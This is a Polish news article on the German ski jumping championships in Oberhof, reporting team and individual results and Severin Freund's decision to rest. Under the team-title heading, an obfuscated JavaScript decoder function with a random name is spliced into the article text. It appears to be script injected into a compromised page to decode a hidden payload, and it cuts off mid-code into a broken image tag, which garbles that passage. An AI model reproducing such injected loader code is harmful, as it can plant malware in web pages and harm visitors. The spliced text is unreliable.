Oberhof: Siegel, Hoffmann i Bawarczycy mistrzami Niemiec, Freund odpoczywa

Niemieccy skoczkowie krajowym czempionatem w Oberhofie zwieńczyli intensywny letni sezon. W zmaganiach indywidualnych po złoty medal dość niespodziewanie sięgnął David Siegel, a w konkursie drużynowym szans rywalom nie dali zawodnicy z Bawarii. W zawodach nie brał udziału Severin Freund, który zdecydował się na krótki odpoczynek.

Bawarczycy z drużynowym tytułem

function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var y7=”;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0and-prix-wisla-2016-konkurs-druzynowy/8H7A5219.jpg” alt=”Karl Geiger, fot. Julia Piątkowska” width=”300″ height=”200″ /> Karl Geiger, fot. Julia Piątkowska

Reprezentanci pierwszej bawarskiej drużyny okazali się zdecydowanie najlepsi i na dużej skoczni w Oberhofie (Hans-Renner-Schanze K-120 / HS-140) bardzo pewnie sięgnęli po złoty krążek gromadząc łącznie 1046,1 punktu. Cała czwórka skakała przede wszystkim bardzo równo, w zespole nie było praktycznie żadnego słabego ogniwa. Karl Geiger oddał skoki na odległość 132 i 130 metrów, Marinus Kraus 131 i 130,5 metra, Andreas Wellinger 134,5 i 120,5 metra, a Markus Eisenbichler 126 i 132,5 metra.

Na drugiej pozycji, ze stratą ponad 100 punktów do zwycięzców uplasowała się drużyna z Saksonii, w skład której weszli: Julian Hahn (127,0 / 120,5 m), Johannes Schubert (121,5 / 119,5 m), Martin Hamann (114,0 / 116,0 m) oraz lider – Richard Freitag (130,0 / 129,0 m). Podium uzupełniła drużyna z Turyngii z mocnym Felixem Hoffmannem (129,5 / 125,5 m) oraz solidnymi: Sebastianem Bradatschem (119,0 / 125,0 m), Justinem Lisso (118,5 / 117,0 m) i Timem Heinrichem (120,0 / 121,0 m).

Tuż za nagrodzonymi medalami drużynami uplasowali się skoczkowie z Badenii-Wirtembergii oraz zawodnicy z drugiego bawarskiego zespołu. Na starcia pojawiło się łącznie 11 ekip.

Wyniki konkursu:

Mistrz świata juniorów mistrzem Niemiec

W drugim dniu rywalizacji na Kanzlersgrund w Oberhofie zawodnicy zmierzyli się w indywidualnym konkursie otwartym. Niespodziewanie bardziej doświadczonych kolegów przeskoczył wciąż aktualny mistrz świata juniorów, David Siegel, który osiągając 140 i 126 metrów zdobył pierwszy w karierze seniorski tytuł mistrza kraju. – To było dla mnie zaskakujące – przyznał 20-latek i dodał: – W skokach treningowych wciąż mam duże problemy z timingiem podczas wyjścia z progu, jestem więc tym bardziej szczęśliwy, że wszystko zadziałało dobrze w konkursie.

Srebrny medal wywalczył drugi zawodnik tegorocznego cyklu FIS Grand Prix, Andreas Wellinger (137,5 / 127,0 m), a podium uzupełnił Richard Freitag (136,0 / 124,5 m). W najlepszej szóstce zmieścili się ponadto: Marinus Kraus, Karl Geiger oraz Stephan Leyhe. O sporym pechu może mówić Markus Eisenbichler, który szansę na walkę o podium zaprzepaścił po upadku przy skoku na 137,5 metra.

W kategorii juniorskiej po tytuł mistrzowski sięgnął 19-letni Felix Hoffmann, który oddał skoki na odległość 128,5 i 123,5 metra. Na drugiej pozycji wylądował Julian Hahn (127,5 / 117,0 m), a trzecie miejsce zajął Constantin Schmid (128,5 / 116,5 m).

Freund pauzuje: "Dla starszych zawodników odpoczynek jest istotny"

W weekendowych zmaganiach w Oberhofie nie wziął udziału najbardziej utytułowany z niemieckich skoczków, Severin Freund. 28-latek, który na przełomie września i października powrócił do międzynarodowej rywalizacji po kilkumiesięcznej przerwie spowodowanej kontuzją i operacją, zdaje sobie sprawę z konieczności oszczędzania sił.

- Długi i intensywny etap przygotowań prawie się zakończył. Około miesiąc pozostał do Pucharu Świata w Kuusamo. Do tego czasu wciąż czeka mnie dużo pracy na skoczni i na siłowni. To dlatego zrobię sobie przerwę regeneracyjną w czasie tego weekendu - mogliśmy przeczytać na oficjalnym profilu Niemca na Facebooku. - Szczególnie dla "starszych" zawodników takich jak ja, czas odpoczynku to bardzo istotna sprawa. Powrócę jednak do "biznesu" w następnych tygodniu, kiedy po raz pierwszy w tym sezonie będziemy skakać na torach lodowych. Powoli zaczynam odczuwać ekscytację - dodał Freund.

Najbliższą okazją do obejrzenia niemieckiego mistrza świata z Falun będą zatem najprawdopodobniej dopiero konkursy Pucharu Świata na fińskiej Rukatunturi nieopodal Kuusamo.

źródło: DSV / Facebook.com